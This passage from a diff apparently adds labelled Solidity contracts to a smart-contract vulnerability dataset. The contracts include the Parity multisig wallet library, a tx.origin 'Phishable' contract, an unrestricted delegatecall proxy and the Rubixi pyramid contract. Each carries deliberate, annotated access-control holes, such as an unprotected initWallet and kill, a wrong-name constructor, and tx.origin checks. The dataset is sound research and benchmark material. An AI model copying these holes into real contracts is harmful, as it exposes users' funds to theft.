ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function create(uint _value, bytes _code) internal returns (address o_addr) {
|
||||
assembly {
|
||||
o_addr := create(_value, add(_code, 0x20), mload(_code))
|
||||
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
|
||||
}
|
||||
}
|
||||
|
||||
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
|
||||
// to determine the body of the transaction from the hash provided.
|
||||
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
|
||||
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
|
||||
address created;
|
||||
if (m_txs[_h].to == 0) {
|
||||
created = create(m_txs[_h].value, m_txs[_h].data);
|
||||
} else {
|
||||
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
|
||||
throw;
|
||||
}
|
||||
|
||||
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
|
||||
delete m_txs[_h];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// INTERNAL METHODS
|
||||
|
||||
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
|
||||
// determine what index the present sender is:
|
||||
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
|
||||
// make sure they're an owner
|
||||
if (ownerIndex == 0) return;
|
||||
|
||||
var pending = m_pending[_operation];
|
||||
// if we're not yet working on this operation, switch over and reset the confirmation status.
|
||||
if (pending.yetNeeded == 0) {
|
||||
// reset count of confirmations needed.
|
||||
pending.yetNeeded = m_required;
|
||||
// reset which owners have confirmed (none) - set our bitmap to 0.
|
||||
pending.ownersDone = 0;
|
||||
pending.index = m_pendingIndex.length++;
|
||||
m_pendingIndex[pending.index] = _operation;
|
||||
}
|
||||
// determine the bit to set for this owner.
|
||||
uint ownerIndexBit = 2**ownerIndex;
|
||||
// make sure we (the message sender) haven't confirmed this operation previously.
|
||||
if (pending.ownersDone & ownerIndexBit == 0) {
|
||||
Confirmation(msg.sender, _operation);
|
||||
// ok - check if count is enough to go ahead.
|
||||
if (pending.yetNeeded <= 1) {
|
||||
// enough confirmations: reset and run interior.
|
||||
delete m_pendingIndex[m_pending[_operation].index];
|
||||
delete m_pending[_operation];
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
// not enough: record that this owner in particular confirmed.
|
||||
pending.yetNeeded--;
|
||||
pending.ownersDone |= ownerIndexBit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function reorganizeOwners() private {
|
||||
uint free = 1;
|
||||
while (free < m_numOwners)
|
||||
{
|
||||
while (free < m_numOwners && m_owners[free] != 0) free++;
|
||||
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
|
||||
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
|
||||
{
|
||||
m_owners[free] = m_owners[m_numOwners];
|
||||
m_ownerIndex[m_owners[free]] = free;
|
||||
m_owners[m_numOwners] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
|
||||
// returns true. otherwise just returns false.
|
||||
function underLimit(uint _value) internal onlyowner returns (bool) {
|
||||
// reset the spend limit if we're on a different day to last time.
|
||||
if (today() > m_lastDay) {
|
||||
m_spentToday = 0;
|
||||
m_lastDay = today();
|
||||
}
|
||||
// check to see if there's enough left - if so, subtract and return true.
|
||||
// overflow protection // dailyLimit check
|
||||
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
|
||||
m_spentToday += _value;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// determines today's index.
|
||||
function today() private constant returns (uint) { return now / 1 days; }
|
||||
|
||||
function clearPending() internal {
|
||||
uint length = m_pendingIndex.length;
|
||||
|
||||
for (uint i = 0; i < length; ++i) {
|
||||
delete m_txs[m_pendingIndex[i]];
|
||||
|
||||
if (m_pendingIndex[i] != 0)
|
||||
delete m_pending[m_pendingIndex[i]];
|
||||
}
|
||||
|
||||
delete m_pendingIndex;
|
||||
}
|
||||
|
||||
// FIELDS
|
||||
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
|
||||
|
||||
// the number of owners that must confirm the same operation before it is run.
|
||||
uint public m_required;
|
||||
// pointer used to find a free slot in m_owners
|
||||
uint public m_numOwners;
|
||||
|
||||
uint public m_dailyLimit;
|
||||
uint public m_spentToday;
|
||||
uint public m_lastDay;
|
||||
|
||||
// list of owners
|
||||
uint[256] m_owners;
|
||||
|
||||
uint constant c_maxOwners = 250;
|
||||
// index on the list of owners to allow reverse lookup
|
||||
mapping(uint => uint) m_ownerIndex;
|
||||
// the ongoing operations.
|
||||
mapping(bytes32 => PendingState) m_pending;
|
||||
bytes32[] m_pendingIndex;
|
||||
|
||||
// pending transactions we have at present.
|
||||
mapping (bytes32 => Transaction) m_txs;
|
||||
}
|
||||
|
||||
contract Wallet is WalletEvents {
|
||||
|
||||
// WALLET CONSTRUCTOR
|
||||
// calls the `initWallet` method of the Library in this context
|
||||
function Wallet(address[] _owners, uint _required, uint _daylimit) {
|
||||
// Signature of the Wallet Library's init function
|
||||
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
|
||||
address target = _walletLibrary;
|
||||
|
||||
// Compute the size of the call data : arrays has 2
|
||||
// 32bytes for offset and length, plus 32bytes per element ;
|
||||
// plus 2 32bytes for each uint
|
||||
uint argarraysize = (2 + _owners.length);
|
||||
uint argsize = (2 + argarraysize) * 32;
|
||||
|
||||
assembly {
|
||||
// Add the signature first to memory
|
||||
mstore(0x0, sig)
|
||||
// Add the call data, which is at the end of the
|
||||
// code
|
||||
codecopy(0x4, sub(codesize, argsize), argsize)
|
||||
// Delegate call to the library
|
||||
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
|
||||
}
|
||||
}
|
||||
|
||||
// METHODS
|
||||
|
||||
// gets called when no other function matches
|
||||
function() payable {
|
||||
// just being sent some cash?
|
||||
if (msg.value > 0)
|
||||
Deposit(msg.sender, msg.value);
|
||||
else if (msg.data.length > 0)
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
_walletLibrary.delegatecall(msg.data); //it should have whitelisted specific methods that the user is allowed to call
|
||||
}
|
||||
|
||||
// Gets an owner by 0-indexed position (using numOwners as the count)
|
||||
function getOwner(uint ownerIndex) constant returns (address) {
|
||||
return address(m_owners[ownerIndex + 1]);
|
||||
}
|
||||
|
||||
// As return statement unavailable in fallback, explicit the method here
|
||||
|
||||
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
|
||||
return _walletLibrary.delegatecall(msg.data);
|
||||
}
|
||||
|
||||
function isOwner(address _addr) constant returns (bool) {
|
||||
return _walletLibrary.delegatecall(msg.data);
|
||||
}
|
||||
|
||||
// FIELDS
|
||||
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
|
||||
|
||||
// the number of owners that must confirm the same operation before it is run.
|
||||
uint public m_required;
|
||||
// pointer used to find a free slot in m_owners
|
||||
uint public m_numOwners;
|
||||
|
||||
uint public m_dailyLimit;
|
||||
uint public m_spentToday;
|
||||
uint public m_lastDay;
|
||||
|
||||
// list of owners
|
||||
uint[256] m_owners;
|
||||
}
|
||||
406
dataset/access_control/parity_wallet_bug_2.sol
Normal file
406
dataset/access_control/parity_wallet_bug_2.sol
Normal file
@@ -0,0 +1,406 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-106#walletlibrarysol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 226,233
|
||||
*/
|
||||
|
||||
//sol Wallet
|
||||
// Multi-sig, daily-limited account proxy/wallet.
|
||||
// @authors:
|
||||
// Gav Wood <g@ethdev.com>
|
||||
// inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a
|
||||
// single, or, crucially, each of a number of, designated owners.
|
||||
// usage:
|
||||
// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by
|
||||
// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the
|
||||
// interior is executed.
|
||||
|
||||
pragma solidity ^0.4.9;
|
||||
|
||||
contract WalletEvents {
|
||||
// EVENTS
|
||||
|
||||
// this contract only has six types of events: it can accept a confirmation, in which case
|
||||
// we record owner and operation (hash) alongside it.
|
||||
event Confirmation(address owner, bytes32 operation);
|
||||
event Revoke(address owner, bytes32 operation);
|
||||
|
||||
// some others are in the case of an owner changing.
|
||||
event OwnerChanged(address oldOwner, address newOwner);
|
||||
event OwnerAdded(address newOwner);
|
||||
event OwnerRemoved(address oldOwner);
|
||||
|
||||
// the last one is emitted if the required signatures change
|
||||
event RequirementChanged(uint newRequirement);
|
||||
|
||||
// Funds has arrived into the wallet (record how much).
|
||||
event Deposit(address _from, uint value);
|
||||
// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
|
||||
event SingleTransact(address owner, uint value, address to, bytes data, address created);
|
||||
// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
|
||||
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
|
||||
// Confirmation still needed for a transaction.
|
||||
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
|
||||
}
|
||||
|
||||
contract WalletAbi {
|
||||
// Revokes a prior confirmation of the given operation
|
||||
function revoke(bytes32 _operation) external;
|
||||
|
||||
// Replaces an owner `_from` with another `_to`.
|
||||
function changeOwner(address _from, address _to) external;
|
||||
|
||||
function addOwner(address _owner) external;
|
||||
|
||||
function removeOwner(address _owner) external;
|
||||
|
||||
function changeRequirement(uint _newRequired) external;
|
||||
|
||||
function isOwner(address _addr) constant returns (bool);
|
||||
|
||||
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
|
||||
|
||||
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
|
||||
function setDailyLimit(uint _newLimit) external;
|
||||
|
||||
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
|
||||
function confirm(bytes32 _h) returns (bool o_success);
|
||||
}
|
||||
|
||||
contract WalletLibrary is WalletEvents {
|
||||
// TYPES
|
||||
|
||||
// struct for the status of a pending operation.
|
||||
struct PendingState {
|
||||
uint yetNeeded;
|
||||
uint ownersDone;
|
||||
uint index;
|
||||
}
|
||||
|
||||
// Transaction structure to remember details of transaction lest it need be saved for a later call.
|
||||
struct Transaction {
|
||||
address to;
|
||||
uint value;
|
||||
bytes data;
|
||||
}
|
||||
|
||||
// MODIFIERS
|
||||
|
||||
// simple single-sig function modifier.
|
||||
modifier onlyowner {
|
||||
if (isOwner(msg.sender))
|
||||
_;
|
||||
}
|
||||
// multi-sig function modifier: the operation must have an intrinsic hash in order
|
||||
// that later attempts can be realised as the same underlying operation and
|
||||
// thus count as confirmations.
|
||||
modifier onlymanyowners(bytes32 _operation) {
|
||||
if (confirmAndCheck(_operation))
|
||||
_;
|
||||
}
|
||||
|
||||
// METHODS
|
||||
|
||||
// gets called when no other function matches
|
||||
function() payable {
|
||||
// just being sent some cash?
|
||||
if (msg.value > 0)
|
||||
Deposit(msg.sender, msg.value);
|
||||
}
|
||||
|
||||
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
|
||||
// as well as the selection of addresses capable of confirming them.
|
||||
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
|
||||
m_numOwners = _owners.length + 1;
|
||||
m_owners[1] = uint(msg.sender);
|
||||
m_ownerIndex[uint(msg.sender)] = 1;
|
||||
for (uint i = 0; i < _owners.length; ++i)
|
||||
{
|
||||
m_owners[2 + i] = uint(_owners[i]);
|
||||
m_ownerIndex[uint(_owners[i])] = 2 + i;
|
||||
}
|
||||
m_required = _required;
|
||||
}
|
||||
|
||||
// Revokes a prior confirmation of the given operation
|
||||
function revoke(bytes32 _operation) external {
|
||||
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
|
||||
// make sure they're an owner
|
||||
if (ownerIndex == 0) return;
|
||||
uint ownerIndexBit = 2**ownerIndex;
|
||||
var pending = m_pending[_operation];
|
||||
if (pending.ownersDone & ownerIndexBit > 0) {
|
||||
pending.yetNeeded++;
|
||||
pending.ownersDone -= ownerIndexBit;
|
||||
Revoke(msg.sender, _operation);
|
||||
}
|
||||
}
|
||||
|
||||
// Replaces an owner `_from` with another `_to`.
|
||||
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
|
||||
if (isOwner(_to)) return;
|
||||
uint ownerIndex = m_ownerIndex[uint(_from)];
|
||||
if (ownerIndex == 0) return;
|
||||
|
||||
clearPending();
|
||||
m_owners[ownerIndex] = uint(_to);
|
||||
m_ownerIndex[uint(_from)] = 0;
|
||||
m_ownerIndex[uint(_to)] = ownerIndex;
|
||||
OwnerChanged(_from, _to);
|
||||
}
|
||||
|
||||
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
|
||||
if (isOwner(_owner)) return;
|
||||
|
||||
clearPending();
|
||||
if (m_numOwners >= c_maxOwners)
|
||||
reorganizeOwners();
|
||||
if (m_numOwners >= c_maxOwners)
|
||||
return;
|
||||
m_numOwners++;
|
||||
m_owners[m_numOwners] = uint(_owner);
|
||||
m_ownerIndex[uint(_owner)] = m_numOwners;
|
||||
OwnerAdded(_owner);
|
||||
}
|
||||
|
||||
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
|
||||
uint ownerIndex = m_ownerIndex[uint(_owner)];
|
||||
if (ownerIndex == 0) return;
|
||||
if (m_required > m_numOwners - 1) return;
|
||||
|
||||
m_owners[ownerIndex] = 0;
|
||||
m_ownerIndex[uint(_owner)] = 0;
|
||||
clearPending();
|
||||
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
|
||||
OwnerRemoved(_owner);
|
||||
}
|
||||
|
||||
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
|
||||
if (_newRequired > m_numOwners) return;
|
||||
m_required = _newRequired;
|
||||
clearPending();
|
||||
RequirementChanged(_newRequired);
|
||||
}
|
||||
|
||||
// Gets an owner by 0-indexed position (using numOwners as the count)
|
||||
function getOwner(uint ownerIndex) external constant returns (address) {
|
||||
return address(m_owners[ownerIndex + 1]);
|
||||
}
|
||||
|
||||
function isOwner(address _addr) constant returns (bool) {
|
||||
return m_ownerIndex[uint(_addr)] > 0;
|
||||
}
|
||||
|
||||
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
|
||||
var pending = m_pending[_operation];
|
||||
uint ownerIndex = m_ownerIndex[uint(_owner)];
|
||||
|
||||
// make sure they're an owner
|
||||
if (ownerIndex == 0) return false;
|
||||
|
||||
// determine the bit to set for this owner.
|
||||
uint ownerIndexBit = 2**ownerIndex;
|
||||
return !(pending.ownersDone & ownerIndexBit == 0);
|
||||
}
|
||||
|
||||
// constructor - stores initial daily limit and records the present day's index.
|
||||
function initDaylimit(uint _limit) only_uninitialized {
|
||||
m_dailyLimit = _limit;
|
||||
m_lastDay = today();
|
||||
}
|
||||
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
|
||||
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
|
||||
m_dailyLimit = _newLimit;
|
||||
}
|
||||
// resets the amount already spent today. needs many of the owners to confirm.
|
||||
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
|
||||
m_spentToday = 0;
|
||||
}
|
||||
|
||||
// throw unless the contract is not yet initialized.
|
||||
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
|
||||
|
||||
// constructor - just pass on the owner array to the multiowned and
|
||||
// the limit to daylimit
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
|
||||
initDaylimit(_daylimit);
|
||||
initMultiowned(_owners, _required);
|
||||
}
|
||||
|
||||
// kills the contract sending everything to `_to`.
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
|
||||
suicide(_to);
|
||||
}
|
||||
|
||||
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
|
||||
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
|
||||
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
|
||||
// and _data arguments). They still get the option of using them if they want, anyways.
|
||||
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
|
||||
// first, take the opportunity to check that we're under the daily limit.
|
||||
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
|
||||
// yes - just execute the call.
|
||||
address created;
|
||||
if (_to == 0) {
|
||||
created = create(_value, _data);
|
||||
} else {
|
||||
if (!_to.call.value(_value)(_data))
|
||||
throw;
|
||||
}
|
||||
SingleTransact(msg.sender, _value, _to, _data, created);
|
||||
} else {
|
||||
// determine our operation hash.
|
||||
o_hash = sha3(msg.data, block.number);
|
||||
// store if it's new
|
||||
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
|
||||
m_txs[o_hash].to = _to;
|
||||
m_txs[o_hash].value = _value;
|
||||
m_txs[o_hash].data = _data;
|
||||
}
|
||||
if (!confirm(o_hash)) {
|
||||
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function create(uint _value, bytes _code) internal returns (address o_addr) {
|
||||
/*
|
||||
assembly {
|
||||
o_addr := create(_value, add(_code, 0x20), mload(_code))
|
||||
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
|
||||
}
|
||||
*/
|
||||
}
|
||||
|
||||
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
|
||||
// to determine the body of the transaction from the hash provided.
|
||||
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
|
||||
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
|
||||
address created;
|
||||
if (m_txs[_h].to == 0) {
|
||||
created = create(m_txs[_h].value, m_txs[_h].data);
|
||||
} else {
|
||||
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
|
||||
throw;
|
||||
}
|
||||
|
||||
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
|
||||
delete m_txs[_h];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// INTERNAL METHODS
|
||||
|
||||
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
|
||||
// determine what index the present sender is:
|
||||
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
|
||||
// make sure they're an owner
|
||||
if (ownerIndex == 0) return;
|
||||
|
||||
var pending = m_pending[_operation];
|
||||
// if we're not yet working on this operation, switch over and reset the confirmation status.
|
||||
if (pending.yetNeeded == 0) {
|
||||
// reset count of confirmations needed.
|
||||
pending.yetNeeded = m_required;
|
||||
// reset which owners have confirmed (none) - set our bitmap to 0.
|
||||
pending.ownersDone = 0;
|
||||
pending.index = m_pendingIndex.length++;
|
||||
m_pendingIndex[pending.index] = _operation;
|
||||
}
|
||||
// determine the bit to set for this owner.
|
||||
uint ownerIndexBit = 2**ownerIndex;
|
||||
// make sure we (the message sender) haven't confirmed this operation previously.
|
||||
if (pending.ownersDone & ownerIndexBit == 0) {
|
||||
Confirmation(msg.sender, _operation);
|
||||
// ok - check if count is enough to go ahead.
|
||||
if (pending.yetNeeded <= 1) {
|
||||
// enough confirmations: reset and run interior.
|
||||
delete m_pendingIndex[m_pending[_operation].index];
|
||||
delete m_pending[_operation];
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
// not enough: record that this owner in particular confirmed.
|
||||
pending.yetNeeded--;
|
||||
pending.ownersDone |= ownerIndexBit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function reorganizeOwners() private {
|
||||
uint free = 1;
|
||||
while (free < m_numOwners)
|
||||
{
|
||||
while (free < m_numOwners && m_owners[free] != 0) free++;
|
||||
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
|
||||
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
|
||||
{
|
||||
m_owners[free] = m_owners[m_numOwners];
|
||||
m_ownerIndex[m_owners[free]] = free;
|
||||
m_owners[m_numOwners] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
|
||||
// returns true. otherwise just returns false.
|
||||
function underLimit(uint _value) internal onlyowner returns (bool) {
|
||||
// reset the spend limit if we're on a different day to last time.
|
||||
if (today() > m_lastDay) {
|
||||
m_spentToday = 0;
|
||||
m_lastDay = today();
|
||||
}
|
||||
// check to see if there's enough left - if so, subtract and return true.
|
||||
// overflow protection // dailyLimit check
|
||||
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
|
||||
m_spentToday += _value;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// determines today's index.
|
||||
function today() private constant returns (uint) { return now / 1 days; }
|
||||
|
||||
function clearPending() internal {
|
||||
uint length = m_pendingIndex.length;
|
||||
|
||||
for (uint i = 0; i < length; ++i) {
|
||||
delete m_txs[m_pendingIndex[i]];
|
||||
|
||||
if (m_pendingIndex[i] != 0)
|
||||
delete m_pending[m_pendingIndex[i]];
|
||||
}
|
||||
|
||||
delete m_pendingIndex;
|
||||
}
|
||||
|
||||
// FIELDS
|
||||
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
|
||||
|
||||
// the number of owners that must confirm the same operation before it is run.
|
||||
uint public m_required;
|
||||
// pointer used to find a free slot in m_owners
|
||||
uint public m_numOwners;
|
||||
|
||||
uint public m_dailyLimit;
|
||||
uint public m_spentToday;
|
||||
uint public m_lastDay;
|
||||
|
||||
// list of owners
|
||||
uint[256] m_owners;
|
||||
|
||||
uint constant c_maxOwners = 250;
|
||||
// index on the list of owners to allow reverse lookup
|
||||
mapping(uint => uint) m_ownerIndex;
|
||||
// the ongoing operations.
|
||||
mapping(bytes32 => PendingState) m_pending;
|
||||
bytes32[] m_pendingIndex;
|
||||
|
||||
// pending transactions we have at present.
|
||||
mapping (bytes32 => Transaction) m_txs;
|
||||
}
|
||||
23
dataset/access_control/phishable.sol
Normal file
23
dataset/access_control/phishable.sol
Normal file
@@ -0,0 +1,23 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 20
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.22;
|
||||
|
||||
contract Phishable {
|
||||
address public owner;
|
||||
|
||||
constructor (address _owner) {
|
||||
owner = _owner;
|
||||
}
|
||||
|
||||
function () public payable {} // collect ether
|
||||
|
||||
function withdrawAll(address _recipient) public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(tx.origin == owner);
|
||||
_recipient.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
22
dataset/access_control/proxy.sol
Normal file
22
dataset/access_control/proxy.sol
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-112#proxysol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 19
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
contract Proxy {
|
||||
|
||||
address owner;
|
||||
|
||||
constructor() public {
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function forward(address callee, bytes _data) public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(callee.delegatecall(_data)); //Use delegatecall with caution and make sure to never call into untrusted contracts
|
||||
}
|
||||
|
||||
}
|
||||
162
dataset/access_control/rubixi.sol
Normal file
162
dataset/access_control/rubixi.sol
Normal file
@@ -0,0 +1,162 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/wrong_constructor_name/Rubixi_source_code/Rubixi.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 23,24
|
||||
*/
|
||||
|
||||
// 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract Rubixi {
|
||||
|
||||
//Declare variables for storage critical to contract
|
||||
uint private balance = 0;
|
||||
uint private collectedFees = 0;
|
||||
uint private feePercent = 10;
|
||||
uint private pyramidMultiplier = 300;
|
||||
uint private payoutOrder = 0;
|
||||
|
||||
address private creator;
|
||||
|
||||
//Sets creator
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function DynamicPyramid() {
|
||||
creator = msg.sender; //anyone can call this
|
||||
}
|
||||
|
||||
modifier onlyowner {
|
||||
if (msg.sender == creator) _;
|
||||
}
|
||||
|
||||
struct Participant {
|
||||
address etherAddress;
|
||||
uint payout;
|
||||
}
|
||||
|
||||
Participant[] private participants;
|
||||
|
||||
//Fallback function
|
||||
function() {
|
||||
init();
|
||||
}
|
||||
|
||||
//init function run on fallback
|
||||
function init() private {
|
||||
//Ensures only tx with value of 1 ether or greater are processed and added to pyramid
|
||||
if (msg.value < 1 ether) {
|
||||
collectedFees += msg.value;
|
||||
return;
|
||||
}
|
||||
|
||||
uint _fee = feePercent;
|
||||
//50% fee rebate on any ether value of 50 or greater
|
||||
if (msg.value >= 50 ether) _fee /= 2;
|
||||
|
||||
addPayout(_fee);
|
||||
}
|
||||
|
||||
//Function called for valid tx to the contract
|
||||
function addPayout(uint _fee) private {
|
||||
//Adds new address to participant array
|
||||
participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100));
|
||||
|
||||
//These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan
|
||||
if (participants.length == 10) pyramidMultiplier = 200;
|
||||
else if (participants.length == 25) pyramidMultiplier = 150;
|
||||
|
||||
// collect fees and update contract balance
|
||||
balance += (msg.value * (100 - _fee)) / 100;
|
||||
collectedFees += (msg.value * _fee) / 100;
|
||||
|
||||
//Pays earlier participiants if balance sufficient
|
||||
while (balance > participants[payoutOrder].payout) {
|
||||
uint payoutToSend = participants[payoutOrder].payout;
|
||||
participants[payoutOrder].etherAddress.send(payoutToSend);
|
||||
|
||||
balance -= participants[payoutOrder].payout;
|
||||
payoutOrder += 1;
|
||||
}
|
||||
}
|
||||
|
||||
//Fee functions for creator
|
||||
function collectAllFees() onlyowner {
|
||||
if (collectedFees == 0) throw;
|
||||
|
||||
creator.send(collectedFees);
|
||||
collectedFees = 0;
|
||||
}
|
||||
|
||||
function collectFeesInEther(uint _amt) onlyowner {
|
||||
_amt *= 1 ether;
|
||||
if (_amt > collectedFees) collectAllFees();
|
||||
|
||||
if (collectedFees == 0) throw;
|
||||
|
||||
creator.send(_amt);
|
||||
collectedFees -= _amt;
|
||||
}
|
||||
|
||||
function collectPercentOfFees(uint _pcent) onlyowner {
|
||||
if (collectedFees == 0 || _pcent > 100) throw;
|
||||
|
||||
uint feesToCollect = collectedFees / 100 * _pcent;
|
||||
creator.send(feesToCollect);
|
||||
collectedFees -= feesToCollect;
|
||||
}
|
||||
|
||||
//Functions for changing variables related to the contract
|
||||
function changeOwner(address _owner) onlyowner {
|
||||
creator = _owner;
|
||||
}
|
||||
|
||||
function changeMultiplier(uint _mult) onlyowner {
|
||||
if (_mult > 300 || _mult < 120) throw;
|
||||
|
||||
pyramidMultiplier = _mult;
|
||||
}
|
||||
|
||||
function changeFeePercentage(uint _fee) onlyowner {
|
||||
if (_fee > 10) throw;
|
||||
|
||||
feePercent = _fee;
|
||||
}
|
||||
|
||||
//Functions to provide information to end-user using JSON interface or other interfaces
|
||||
function currentMultiplier() constant returns(uint multiplier, string info) {
|
||||
multiplier = pyramidMultiplier;
|
||||
info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.';
|
||||
}
|
||||
|
||||
function currentFeePercentage() constant returns(uint fee, string info) {
|
||||
fee = feePercent;
|
||||
info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)';
|
||||
}
|
||||
|
||||
function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) {
|
||||
pyramidBalance = balance / 1 ether;
|
||||
info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to';
|
||||
}
|
||||
|
||||
function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) {
|
||||
balancePayout = participants[payoutOrder].payout / 1 ether;
|
||||
}
|
||||
|
||||
function feesSeperateFromBalanceApproximately() constant returns(uint fees) {
|
||||
fees = collectedFees / 1 ether;
|
||||
}
|
||||
|
||||
function totalParticipants() constant returns(uint count) {
|
||||
count = participants.length;
|
||||
}
|
||||
|
||||
function numberOfParticipantsWaitingForPayout() constant returns(uint count) {
|
||||
count = participants.length - payoutOrder;
|
||||
}
|
||||
|
||||
function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) {
|
||||
if (orderInPyramid <= participants.length) {
|
||||
Address = participants[orderInPyramid].etherAddress;
|
||||
Payout = participants[orderInPyramid].payout / 1 ether;
|
||||
}
|
||||
}
|
||||
}
|
||||
16
dataset/access_control/simple_suicide.sol
Normal file
16
dataset/access_control/simple_suicide.sol
Normal file
